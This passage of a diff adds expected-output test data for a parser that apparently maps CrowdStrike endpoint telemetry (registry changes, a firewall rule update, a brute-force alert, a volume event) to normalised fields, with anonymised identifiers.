+                "serial_number": "ea08505420aa828a0a52a6eed3c8a196",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "7701685113510",
+                "thread": {
+                    "id": 344002022970675
+                }
+            },
+            "related": {
+                "hash": [
+                    "9250777000"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "2090006508607",
+                "ContextTimeStamp": "2025-10-29T00:43:06.458Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "RegClassification": "806",
+                "RegClassificationFlags": "454",
+                "RegClassificationIndex": "430",
+                "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a",
+                "RegOperationType": "1",
+                "RegStringValue": "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1",
+                "RegType": "7",
+                "RegValueName": "ee0bc2006c367f53b607da1122e",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2e723341d059eefec4c8ff3c9062764c68e3",
+                "name": "0e92d5a77de501c1f1c9064"
+            },
+            "device": {
+                "id": "52cf03e6cbd930e0081ab561b4366e03"
+            },
+            "event": {
+                "action": "modification",
+                "category": [
+                    "registry"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2e723341d059eefec4c8ff3c9062764c68e3|52cf03e6cbd930e0081ab561b4366e03|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"98420079085202\",\"aip\":\"89.160.20.112\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\32d7e82\\\\185d320a\",\"RegClassificationFlags\":\"454\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"2e723341d059eefec4c8ff3c9062764c68e3\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"1c\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\d62f\\\\fbcbd9a.tmp\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\bc742c1d.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\bc742c1d.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\25c3c8.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\de6d4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a010c85.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\0c2f6a2.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b214b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\b522a4.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\b522a4.DLL\\u0000*1\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegGenericValueUpdate\",\"ContextTimeStamp\":\"1761698586.458\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2090006508607\",\"RegType\":\"7\",\"RegClassificationIndex\":\"430\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"ee0bc2006c367f53b607da1122e\",\"RegClassification\":\"806\",\"Entitlements\":\"66\",\"name\":\"0e92d5a77de501c1f1c9064\",\"aid\":\"52cf03e6cbd930e0081ab561b4366e03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "52cf03e6cbd930e0081ab561b4366e03",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RegGenericValueUpdate",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "52cf03e6cbd930e0081ab561b4366e03",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2090006508607",
+                "thread": {
+                    "id": 98420079085202
+                }
+            },
+            "registry": {
+                "data": {
+                    "strings": [
+                        "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1"
+                    ],
+                    "type": "REG_MULTI_SZ"
+                },
+                "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a",
+                "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a\\ee0bc2006c367f53b607da1122e",
+                "value": "ee0bc2006c367f53b607da1122e"
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "6000088020",
+                "ContextProcessId": "209450604006",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "PatternId": "24871",
+                "RegClassification": "40",
+                "RegClassificationFlags": "1",
+                "RegClassificationIndex": "3",
+                "RegObjectName": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
+                "RegOperationType": "2",
+                "RegValueName": "d4ae4138ea91",
+                "TemplateDisposition": "40",
+                "TemplateInstanceId": "10229",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "46ae86d862c2856f051da60792378c9a659e",
+                "name": "ac9954e67836781b8f5b89ec31d8d"
+            },
+            "device": {
+                "id": "8b6270fbf7dd1d35cb564438ccd92475"
+            },
+            "event": {
+                "action": "deletion",
+                "category": [
+                    "registry"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "46ae86d862c2856f051da60792378c9a659e|8b6270fbf7dd1d35cb564438ccd92475|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"TemplateInstanceId\":\"10229\",\"aip\":\"81.2.69.142\",\"RegClassificationFlags\":\"1\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"2\",\"event_platform\":\"Win\",\"PatternId\":\"24871\",\"EventOrigin\":\"1\",\"id\":\"46ae86d862c2856f051da60792378c9a659e\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegistryOperationDetectInfo\",\"ConfigStateHash\":\"6000088020\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"209450604006\",\"RegClassificationIndex\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"d4ae4138ea91\",\"CommandLine\":\"54d\\\\9134161b\\\\b169fe25\\\\d528e266.exe\\\"\",\"RegClassification\":\"40\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\d528e266.exe\",\"Entitlements\":\"86\",\"name\":\"ac9954e67836781b8f5b89ec31d8d\",\"aid\":\"8b6270fbf7dd1d35cb564438ccd92475\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "host": {
+                "id": "8b6270fbf7dd1d35cb564438ccd92475",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RegistryOperationDetectInfo",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "8b6270fbf7dd1d35cb564438ccd92475",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "54d\\9134161b\\b169fe25\\d528e266.exe"
+                ],
+                "args_count": 1,
+                "command_line": "54d\\9134161b\\b169fe25\\d528e266.exe\"",
+                "entity_id": "209450604006",
+                "executable": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe",
+                "name": "d528e266.exe"
+            },
+            "registry": {
+                "key": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
+                "path": "\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\d4ae4138ea91",
+                "value": "d4ae4138ea91"
+            },
+            "related": {
+                "hash": [
+                    "6000088020"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "864",
+                "ConfigStateHash": "2080600092",
+                "ContextProcessId": "1007045000929",
+                "ContextTimeStamp": "2025-10-02T16:56:51.858Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "RegClassification": "334",
+                "RegClassificationFlags": "1",
+                "RegClassificationIndex": "718",
+                "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d",
+                "RegOperationType": "1",
+                "RegStringValue": "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|",
+                "RegType": "1",
+                "RegValueName": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "8f2302b7d2a07c5d5568941494e0368e0144",
+                "name": "24ba14f1e5840e900e581616a2fe"
+            },
+            "device": {
+                "id": "be027d4cbada339f804f9c19f5a2d5a6"
+            },
+            "event": {
+                "action": "modification",
+                "category": [
+                    "registry",
+                    "host",
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "8f2302b7d2a07c5d5568941494e0368e0144|be027d4cbada339f804f9c19f5a2d5a6|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"700420809200030\",\"aip\":\"81.2.69.192\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\9d9abc6f\\\\e68b36b1\\\\336a62f8\\\\348c576d\",\"RegClassificationFlags\":\"1\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"8f2302b7d2a07c5d5568941494e0368e0144\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\9134161b\\\\3a93a12\\\\82be212b\\\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"RegSystemConfigValueUpdate\",\"ContextTimeStamp\":\"1759424211.858\",\"ConfigStateHash\":\"2080600092\",\"ContextProcessId\":\"1007045000929\",\"RegType\":\"1\",\"RegClassificationIndex\":\"718\",\"AuthenticationId\":\"864\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"RegClassification\":\"334\",\"Entitlements\":\"86\",\"name\":\"24ba14f1e5840e900e581616a2fe\",\"aid\":\"be027d4cbada339f804f9c19f5a2d5a6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "be027d4cbada339f804f9c19f5a2d5a6",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RegSystemConfigValueUpdate",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "be027d4cbada339f804f9c19f5a2d5a6",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "1007045000929",
+                "thread": {
+                    "id": 700420809200030
+                }
+            },
+            "registry": {
+                "data": {
+                    "strings": [
+                        "fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|"
+                    ],
+                    "type": "REG_SZ"
+                },
+                "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d",
+                "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d\\{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
+                "value": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}"
+            },
+            "related": {
+                "hash": [
+                    "2080600092"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "6870020050",
+                "ContextProcessId": "25700434000",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "LogonType": "3",
+                "PatternId": "200",
+                "TotalCount": 4051,
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2e41e2c0447e07249a69dbdc70a72aec40d4",
+                "name": "35b635ba0a924203f13f0a9f8f7d"
+            },
+            "device": {
+                "id": "a72936ae0acff156c05af8238b6a10eb"
+            },
+            "event": {
+                "action": "RemoteBruteForceDetectInfo",
+                "category": [
+                    "malware",
+                    "authentication"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2e41e2c0447e07249a69dbdc70a72aec40d4|a72936ae0acff156c05af8238b6a10eb|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"RemoteBruteForceDetectInfo\",\"UserName\":\"\",\"ConfigStateHash\":\"6870020050\",\"ContextProcessId\":\"25700434000\",\"LogonType\":\"3\",\"aip\":\"81.2.69.144\",\"LogonDomain\":\"\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"82\\\\340d600\\\\4a6a0a4b\\\\4cdbc.exe\",\"TotalCount\":\"4051\",\"PatternId\":\"200\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\4cdbc.exe\",\"Entitlements\":\"66\",\"name\":\"35b635ba0a924203f13f0a9f8f7d\",\"EventOrigin\":\"1\",\"id\":\"2e41e2c0447e07249a69dbdc70a72aec40d4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"a72936ae0acff156c05af8238b6a10eb\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "a72936ae0acff156c05af8238b6a10eb",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "RemoteBruteForceDetectInfo",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "a72936ae0acff156c05af8238b6a10eb",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "82\\340d600\\4a6a0a4b\\4cdbc.exe"
+                ],
+                "args_count": 1,
+                "command_line": "82\\340d600\\4a6a0a4b\\4cdbc.exe",
+                "entity_id": "25700434000",
+                "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe",
+                "name": "4cdbc.exe"
+            },
+            "related": {
+                "hash": [
+                    "6870020050"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8090285900",
+                "ContextProcessId": "655070024024",
+                "ContextTimeStamp": "2025-06-30T05:11:02.872Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "IsOnRemovableDisk": "1",
+                "VolumeDeviceCharacteristics": "100402",
+                "VolumeDeviceObjectFlags": "0",
+                "VolumeDeviceType": "8",
+                "VolumeDriveLetter": "4e",
+                "VolumeEncryptionStatus": "0",
+                "VolumeFileSystemDevice": "\\ddc",
+                "VolumeFileSystemDriver": "\\6b634d3d\\7a5851b",
+                "VolumeFileSystemType": "3",
+                "VolumeIsEncrypted": "0",
+                "VolumeMountPoint": "\\e2\\cf8397ea",
+                "VolumeName": "\\6ba0bd\\257d4e13",
+                "VolumeRealDeviceName": "\\6ba0bd\\257d4e13",
